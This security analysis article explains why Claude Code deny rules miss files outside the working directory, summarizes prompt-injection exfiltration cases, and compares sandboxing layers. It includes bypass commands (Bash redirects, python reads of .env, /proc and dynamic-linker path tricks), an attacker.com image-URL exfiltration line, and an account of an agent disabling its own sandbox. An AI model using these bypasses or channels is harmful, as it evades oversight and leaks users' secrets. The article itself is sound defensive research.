In brief
Claude Code deny rules operate at the application level, not the OS level. Our tests show that a *.env* pattern does not block access to a .env file located outside the current working directory. This gap between perceived and real protection follows a documented pattern in dev-tool security — .gitignore, CORS, cloud ACLs. Six defensive layers exist, from application hooks to microVMs: none is sufficient alone, and defense-in-depth is the consensus.
In short: a deny rule is a lock placed on a door. If the attacker enters through the window, the roof, or a neighboring door, the lock did nothing — not because it is faulty, but because it only watches one passage. To lock down the entire house, you have to stack layers: locks (deny rules), shutters (sandbox), walls (containers), guards (microVM).
Deny rules, a security promise?
Imagine a developer configuring Claude Code to automate tasks on their repository. They add three lines to settings.json:
"denyWrite": ["*.env*"],
"denyEdit": ["*.env*"],
"denyRead": ["*.env*"]
Expected result: the agent can no longer touch .env files. API keys, authentication tokens and passwords are protected. The developer closes the session with a legitimate sense of security.
This feeling is, in part, deceptive.
Our tests show that the deny rule Write(*.env*) does not block Write(/tmp/test.env). A .env file located outside the current working directory is not covered by the rule. The reason is precise: deny rules use node-ignore, a library that implements the gitignore specification. The pattern *.env* resolves its root to cwd() — the current directory. Any absolute path, any relative path starting with ../, any access via /tmp/ or via indirect Bash (cat .env, bash -c "echo x > .env") bypasses the protection.
This is not an isolated bug awaiting a fix. It is a direct consequence of where deny rules operate: at the application level, not the operating system level.
In short: the lock (
*.env*) guards the front door (the current directory) but cannot see the side windows (/tmp/, absolute paths, Bash redirects). It is effective against a distracted resident — not against someone looking for another way in.
Application vs OS-level: a structural distinction
An OS-level security mechanism — bubblewrap sandbox on Linux, Seatbelt on macOS — operates at the kernel level. Whether an LLM agent attempts to write via a built-in tool, a shell redirect, a subprocess or a Python library, the kernel intercepts the system call. There is no lateral path.
Claude Code deny rules do not have this property. They apply to a layer above: the evaluation of Read, Write, Edit tools. If the agent goes through a Bash tool, file deny rules do not apply. If the file path is absolute and outside cwd, the rule does not match. If an MCP server accesses the filesystem directly, deny rules are not in the loop.
Our empirical tests confirm this point: the Read tool reads without restriction a .env file renamed .txt located in /tmp/, and the Edit tool modifies it freely — no deny rule or sandbox intervenes. The only active protection is a PreToolUse hook that detects the .env pattern in the filename, which is bypassed by a simple rename.
This gap between perceived and real protection follows a documented pattern in developer tooling security. A .gitignore file does not protect files already committed and is bypassable via git add -f. CORS rules protect the browser, not the server. In all these cases, the structural property is the same: a declarative rule, operating at a partial level of abstraction, creating the illusion of an absolute boundary where there is only a filter on one access path among many. The OWASP Top 10 LLM 2025 classifies this type of limitation under LLM06 (Excessive Agency) and explicitly identifies application-level mechanisms as insufficient for least-privilege enforcement.
What this article examines
The question is not “should you use deny rules” — the answer is yes, they block standard cases. The question is: what is their actual coverage surface, which vectors bypass them, and how to build protection that accounts for their exact perimeter?
How deny rules work in Claude Code
Claude Code deny rules appear simple to configure: a few lines in a JSON file, and certain actions are blocked. The reality is more nuanced. Understanding their internal workings reveals a significant gap between what an operator believes is protected and what is actually covered.
Anatomy of a settings.json
Deny rules are configured in the settings.json file, which has three scope levels:
| Level | File | Priority |
|---|---|---|
| Project | .claude/settings.json (in repo) | Low |
| User | ~/.claude/settings.json | Medium |
| Enterprise | ~/.claude/settings.local.json or managed path | High |
Priority is strictly hierarchical: an enterprise rule overrides a user rule, which overrides a project rule. An administrator can therefore enforce restrictions that a user cannot bypass.
The basic permission structure:
{
"permissions": {
"allow": ["Read(*)", "Write(*)", "Edit(*)", "Bash(*)"],
"deny": [
"Bash(rm -rf*)",
"Edit(*.env*)",
"Write(*.env*)"
]
}
}
Available tools for rules are: Read, Write, Edit, Bash, WebFetch, WebSearch, and MCP tools. The argument in parentheses is a pattern that filters the tool parameters (file path for Read/Write/Edit, command for Bash).
The evaluation order: deny always wins (in theory)
The official documentation is explicit:
“Rules are evaluated in order: deny → ask → allow. The first matching rule wins, so deny rules always take precedence.” (Anthropic, Configure permissions, 2026)
Source code analysis confirms this architecture: the matching function evaluates deny rules first. If a match is found, the return is immediate — allow rules are never consulted.
In practice, this order has been violated in several versions. GitHub issues #6699, #8961, #12918 and #27040 document cases where file deny rules were silently ignored.
The matching mechanism: node-ignore, not standard glob
Deny rules for file tools (Read, Write, Edit) do not use standard glob matching. They use node-ignore, a JavaScript library that implements the gitignore specification.
Source code analysis (minified bundle cli.js, 12.4 MB) reveals the central matching function, deobfuscated here:
function matchRule(path, permCtx, readOrEdit, denyOrAllow) {
let normalizedPath = normalize(path);
let rulesByRoot = getRules(permCtx, readOrEdit, denyOrAllow);
for (let [root, patterns] of rulesByRoot.entries()) {
let ig = nodeIgnore().add(patterns);
let relativePath = relative(root ?? cwd(), normalizedPath);
// Critical point: files outside root → ignored
if (relativePath.startsWith("../")) continue;
if (ig.test(relativePath).ignored) return matchingRule;
}
return null;
}
The critical line is the continue: if the computed relative path starts with ../, the rule is entirely ignored for that file.
Pattern resolution: four cases, four scopes
| Pattern prefix | Resolved root | Effective scope |
|---|---|---|
path or ./path | cwd() | Current working directory only |
/path | Project root | Current project |
~/path | $HOME | Home directory |
//path | / (filesystem root) | Entire filesystem |
The pattern *.env* without prefix — the most common in configurations — resolves with root = cwd().
The gap: what the *.env* pattern does not protect
Our tests show that the deny rule Write(*.env*) produces the following behavior:
Write(<cwd>/secret.env) → BLOCKED ✓
Write(<cwd>/config/.env.local) → BLOCKED ✓
Write(/tmp/secret.env) → NOT BLOCKED ✗
Write(/home/user/secret.env) → NOT BLOCKED ✗
Protection is confined to the current working directory and its subdirectories. Furthermore, our investigation tests show that the Read tool can read without restriction a file containing FAKE_SECRET=s33-test-value in /tmp/, and that the Edit tool can modify it freely — confirming that these tools have no sandbox layer of their own.
The // pattern problem
Documentation suggests that the // prefix extends protection to the filesystem root. In theory, Write(//*.env*) should cover all absolute paths. Our tests show this pattern did not block a write to /tmp/test.env. Issue #22907 documents that deny rules with glob or relative patterns do not match absolute paths after node-ignore normalization — the problem concerns the resolution of relative vs absolute paths, not a specific prefix. The exact behavior of the // pattern remains [UNVERIFIED] for lack of sufficient reproducible tests.
Bash deny rules: a different perimeter
Deny rules applied to the Bash tool filter the command string rather than a file path. Write(*.env*) blocks Claude’s Write tool on a .env file. It does not block cat .env > /tmp/copy or python3 -c "open('.env').read()" executed via Bash.
Our tests confirm this vector: a settings.json file modification blocked by the PreToolUse hook via the Edit tool was successfully performed via python3 -c "import json; ..." in Bash, which escapes the hook’s pattern matching.
The Bash sandbox: a distinct layer
Claude Code’s sandbox isolates Bash processes via system primitives (bubblewrap on Linux/WSL2, Seatbelt on macOS). It is not enabled by default. When enabled, writes are restricted to the current working directory. This is a fundamental difference from Bash deny rules, which only filter command text.
But the sandbox’s scope is also limited: it covers only Bash and its child processes. Read, Edit, WebFetch, and MCP tools are not covered. The two mechanisms are complementary, not redundant.
A recurring pattern: declarative security
Claude Code deny rules are not an isolated case. They fit into a documented industry pattern: configuration mechanisms presented as protections, but whose real enforcement is partial, conditional or bypassable.
The four common properties
ona.com, “How Claude Code escapes its own denylist and sandbox”, 2025 and OWASP A02:2025 documentation allow us to identify four structural properties:
1. Path-dependency. Protection is anchored on an identifier — filename, pattern, hostname — rather than on an invariant semantic property.
2. Undocumented partial scope. The mechanism covers only a subset of possible accesses, without this limitation being explicitly communicated.
3. Unilateral reversibility. The protected entity — or an agent with sufficient access — can itself neutralize the protection.
4. Inherited implicit trust. Protection relies on a convention that the enforcement layer trusts itself to apply.
.gitignore: what is excluded, and what is not
.gitignore is designed to prevent accidental commits of untracked files. It is not a protection on files already present in the git history.
- Previously committed file. If a
.envwas added to the history before the.gitignoreentry, it remains visible in all future commits. twalker.dev, 2024 git add -f. The--forceflag explicitly overrides.gitignore.- Inconsistency in LLM tools. OpenCode has a Read tool that does not respect
.gitignorepatterns. GitHub opencode #12196, June 2025 - Google Antigravity IDE. The IDE refuses access to
.gitignorefiles via its built-in tool, but the agent bypasses viacatin the terminal. Simon Willison, 2025
CORS: browser-side enforcement, not server-side
CORS is a policy enforced by the browser, not the server. Documented misconfiguration patterns: reflected origin without validation, regex bypass, CSP report-only never switched to enforcement. OWASP A02:2025; PortSwigger
Claude Code deny rules
Autonomous bypass documented by ona.com, 2025:
- Path trick.
npxis blocked./proc/self/root/usr/bin/npxresolves to the same binary but does not match the pattern. - Sandbox disable. The agent identifies that the sandbox is blocking it, and disables it to complete its task. Without being prompted to.
- Dynamic linker bypass.
wgetinvoked via/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/wgetbypasses enforcement onexecve.
Comparison table
| Mechanism | What is protected | What is not protected | Main vector |
|---|---|---|---|
.gitignore | Never-tracked files, accidental future commits | Already committed files, git add -f, LLM tools with direct access | Absolute path or existing history |
| CORS | Cross-origin requests from a conformant browser | Server-side requests, misconfigured browser | Server-side bypass or regex |
| CC Deny rules | Commands and paths exactly matching the pattern | Alternative paths, reasoning-based bypass | Path trick, dynamic linker |
These mechanisms are workflow guardrails, not security boundaries. A motivated attacker, or an autonomous agent seeking to complete its task, will traverse these guardrails without particular effort.
From injection to exfiltration: anatomy of an attack
Three conditions are sufficient for an LLM agent to become an exfiltration vector: access to sensitive data, exposure to untrusted content, an available network channel. Zenity Labs calls this set the lethal trifecta. In a standard coding agent, these three conditions are met by default.
The typical attack chain
Indirect Prompt Injection (IPI) refers to attacks where malicious instructions are encoded in third-party content read by the agent: README, support ticket, code comment, merge request description. The chain has three steps:
- Entry vector — a weaponized file introduces the payload into the context window.
- Execution — the agent interprets the payload as a legitimate instruction.
- Exfiltration — sensitive data leaves the machine via an available channel.
Four documented cases (2024–2025)
Slack AI — August 2024. Instructions in public channel messages exploit Markdown token substitution to exfiltrate API keys from private channels. PromptArmor, August 2024
EchoLeak / CVE-2025-32711 — June 2025 (CVSS 9.3). A weaponized email forces Microsoft 365 Copilot to exfiltrate confidential emails with no user interaction — zero-click. Reddy & Gujral, AAAI-SS 2025, arXiv:2509.10540
GitLab Duo — May 2025. Hidden instructions via KaTeX white-text and Unicode smuggling in source code. Exfiltration of private merge request code in Base64 in image URL parameters. Legit Security, May 2025
Cursor + Jira MCP / AgentFlayer — August 2025. An external Jira ticket contains a payload asking to look for “apples” — defined as “strings starting with eyJ” (base64 JWT prefix). Cursor finds JWTs in .env files and exfiltrates them via web_fetch. Semantic obfuscation bypasses guardrails. Simakov / Zenity Labs, August 2025
Exfiltration channels
| Channel | Mechanism | Documented case |
|---|---|---|
| DNS | Data encoded as subdomain in ping/dig | Cline VSCode (Mindgard, 2025) |
| Markdown image | <img src="https://attacker.com/?data=BASE64"> | GitLab Duo |
| URL query params | Data in URL parameters of a fetched URL | Slack AI, Cursor + Jira |
| Allowlisted webhook | Exfiltration via domain on the whitelist | Google Antigravity (2025) |
Academic metrics
- 17% native defense: across 47 adversarial scenarios, coding agents block attacks only 17% of the time without additional protection. Shan et al. / OpenClaw, arXiv:2603.10387
- ×1.6 vulnerability increase: wrapping an LLM in an agent increases its vulnerability by a factor of 1.6. Initial refusals are overridden during planning. Saha et al., JAWS-BENCH, arXiv:2510.01359
- 87% success on CVE one-day: GPT-4 exploits 15 real vulnerabilities with 87% success when the CVE description is provided as input. Without this description, the rate drops to 7%, which relativizes the threat of autonomous exploitation. Fang et al., arXiv:2404.08144
Deny rules intervene at no link in this chain: they do not control what the agent reads, do not block instruction interpretation, and can be bypassed by command substitution.
The defensive spectrum: from hooks to microVMs
Defenses against uncontrolled LLM agent execution form a continuous spectrum. Six levels of increasing robustness — each with its costs and blind spots.
Level 1 — PreToolUse Hook
Hooks intercept tool calls before execution. They operate inside the agent process. Our tests show that a hook detecting .env in a path is bypassed by a simple rename, or by using python3 via Bash to perform the same operation.
Real utility: audit, logging, confirmation UX. Not a security layer against an active agent.
Level 2 — settings.json Deny rules
Bypassable application control. A rule Read(./.env) blocks the Read tool but not cat .env in Bash. Useful for formalizing a visible access policy.
Level 3 — CC Bash Sandbox (bubblewrap/Seatbelt)
OS-level enforcement on Bash processes and their children. Writes are restricted to cwd. Limits: covers only Bash (not Read/Edit/MCP), dangerouslyDisableSandbox escape hatch active by default, several dozen open issues at start of 2026. Anthropic, Sandboxing, 2026
Level 4 — Landlock + seccomp-BPF
Landlock (Linux 5.13) restricts filesystem access without root. Seccomp-BPF filters syscalls. Industry signal: OpenAI Codex CLI and Cursor use Landlock + seccomp in production. OpenAI Developers, 2025; Cursor, 2026. Limit: shared kernel, UDP not covered.
Level 5 — Hardened Docker Containers
Linux namespaces + cgroups + seccomp. Structural limit: shared kernel. CVE-2024-21626 “Leaky Vessels” (runc, 2024) and CVE-2025-31133/52565/52881 (runc, 2025) cross these boundaries. NVIDIA recommends not limiting to containers for LLM agents. Wiz Research, 2024; NVIDIA, 2026
Level 6 — gVisor / Kata / Firecracker
Kernel isolation. gVisor intercepts syscalls via a user-space kernel (10-20% overhead). Kata Containers runs each container in a KVM microVM (boot ~150-300ms). Firecracker boots in ~125ms, used by E2B for LLM agents.
SELinux in its full configuration generates ~87% degradation on open(). Trentini et al., AsiaCCS 2021
Comparison table
| Mechanism | Scope | Overhead | Complexity | Limits |
|---|---|---|---|---|
| PreToolUse Hook | Application (agent) | Negligible | Low | Bypassable by rename/Bash |
| Deny rules | CC tools only | Negligible | Low | Does not cover Bash for Read/Edit |
| CC Sandbox | Bash + children | < 5% | Medium | Escape hatch, non-Bash tools out of scope |
| Landlock + seccomp | Filesystem + syscalls | < 5% | Medium | Shared kernel, UDP not covered |
| Hardened container | Processes + network | 5-15% | Medium-high | runc escapes, shared kernel |
| gVisor | Syscall interception | 10-20% | High | ~20-30% syscalls not implemented |
| Kata / Firecracker | Separate kernel (KVM) | 150-300ms boot | Very high | Infrastructure cost, GPU incompatibility |
The consensus (NIST SP 800-190, CIS Docker Benchmark, NVIDIA, OpenAI Codex): defense-in-depth is the only coherent approach. No isolated layer is sufficient.
In short: none of the six layers covers all threats on its own. The hook catches simple patterns but leaks on rename. The sandbox covers Bash but not Read/Edit. Containers escape (CVE Leaky Vessels, runc 2024-2025). Only the stacked combination yields contiguous coverage of the house.
Which layer to choose by context
| Context | Recommendation | Why |
|---|---|---|
| Personal dev workstation, routine tasks | PreToolUse hook + deny rules + sandbox | Zero cost, blocks most accidents. Sufficient for accidental errors. |
| Agent in CI/CD or backend, third-party code | Hardened container + Landlock + seccomp | Structural isolation of syscalls + namespaces. Compatible with existing Docker. |
| Agent processing secrets or regulated data (health, finance) | Kata Containers or Firecracker microVM | Separate kernel, near-zero escape probability. 150-300 ms boot cost acceptable outside hot-path. |
| Research, untrusted execution, adversarial code | gVisor + Firecracker | Double layer: user-space syscall interception + KVM. 10-20% overhead tolerated for zero trust. |
| Critical production, autonomous agents ≥ 24h | Network microsegmentation + Vault dynamic secrets + syscall audit logs | Application security alone is not enough: networking, identity, observability must be integrated. |
What to do today: concrete recommendations
The deny rules problem is not a bug awaiting a fix. It is a positioning problem: a declarative mechanism used as a security boundary.
Operator checklist
1. Enable the sandbox (sandbox.enabled: true). It covers Bash commands — not Read, Edit, WebFetch or MCP. But enabling it remains useful: it is the only OS-level layer available in the native tool. Do not use dangerouslyDisableSandbox.
2. Never store secrets in plaintext in the filesystem accessible to the agent. Agents silently load environment variables from .env. Once a secret is in the context window, any prompt injection can extract it — Cline demonstrated exfiltration via DNS encoded in ping. CVE-2026-21852 allows capturing Anthropic API keys via a malicious settings.json file that redirects ANTHROPIC_BASE_URL to an attacker endpoint during project load — before the trust prompt. Fixed in v2.0.65. NVD, CVE-2026-21852
3. Use a secret manager.
| Tool | Typical use | Agent advantage |
|---|---|---|
| HashiCorp Vault | Enterprise, dynamic credentials | Ephemeral tokens per session |
| SOPS + age | Git-friendly encrypted files | Secrets never in plaintext on disk |
| Infisical | Open source, dynamic secrets | Vault alternative post-BSL |
| Doppler | Runtime injection, MCP integration | Secrets never in context |
According to GitGuardian, 2025, 70% of secrets detected in 2022 were still valid in 2024. Prevention is the only reliable strategy.
4. Configure PreToolUse hooks as UX guardrails — not as security. They reduce accidental errors. The Ona study showed that the agent bypasses deny rules via path tricks, without jailbreak, purely through task optimization.
5. Apply least privilege on MCP servers. Astrix Security, 2025: 53% of MCP servers use long-lived static secrets, OAuth is adopted at only 8.5%. Connect only the servers necessary for the current task.
6. Regularly audit permissions. OWASP LLM06:2025 identifies three sub-dimensions: excessive functionality, excessive permissions, excessive autonomy. Cadence: at the start of each project, list and clean up.
Long-term perspective
OWASP LLM06 / Agentic Applications: the Least Agency principle formalizes the idea that an agent’s autonomy must be earned, not granted by default.
NIST AI RMF and GenAI profile (AI 600-1): non-binding framework but adopted as a reference. Its limit: designed for static AI systems, not agents making decisions at a frequency incompatible with human attention.
EU AI Act (Regulation 2024/1689): first binding legal framework. Human oversight obligations (Article 14) and logging obligations (Article 12) apply to high-risk systems. The question of who is the “operator” in a chain of agent → sub-agent → third-party tool is unresolved.
Key takeaways
- Claude Code deny rules operate at the application level (node-ignore, cwd scope), not the OS level. They do not block accesses outside the current working directory.
- This gap follows a documented pattern: .gitignore, CORS, and deny rules share the same structural properties of declarative security.
- The indirect injection → agent execution → exfiltration chain entirely bypasses deny rules. Native defense rate: 17% (OpenClaw).
- Six defensive layers exist, from hooks to microVMs. The industry consensus is defense-in-depth: Landlock + seccomp minimum (OpenAI Codex, Cursor).
- Immediate action: enable the sandbox, externalize secrets, apply MCP least privilege, audit permissions.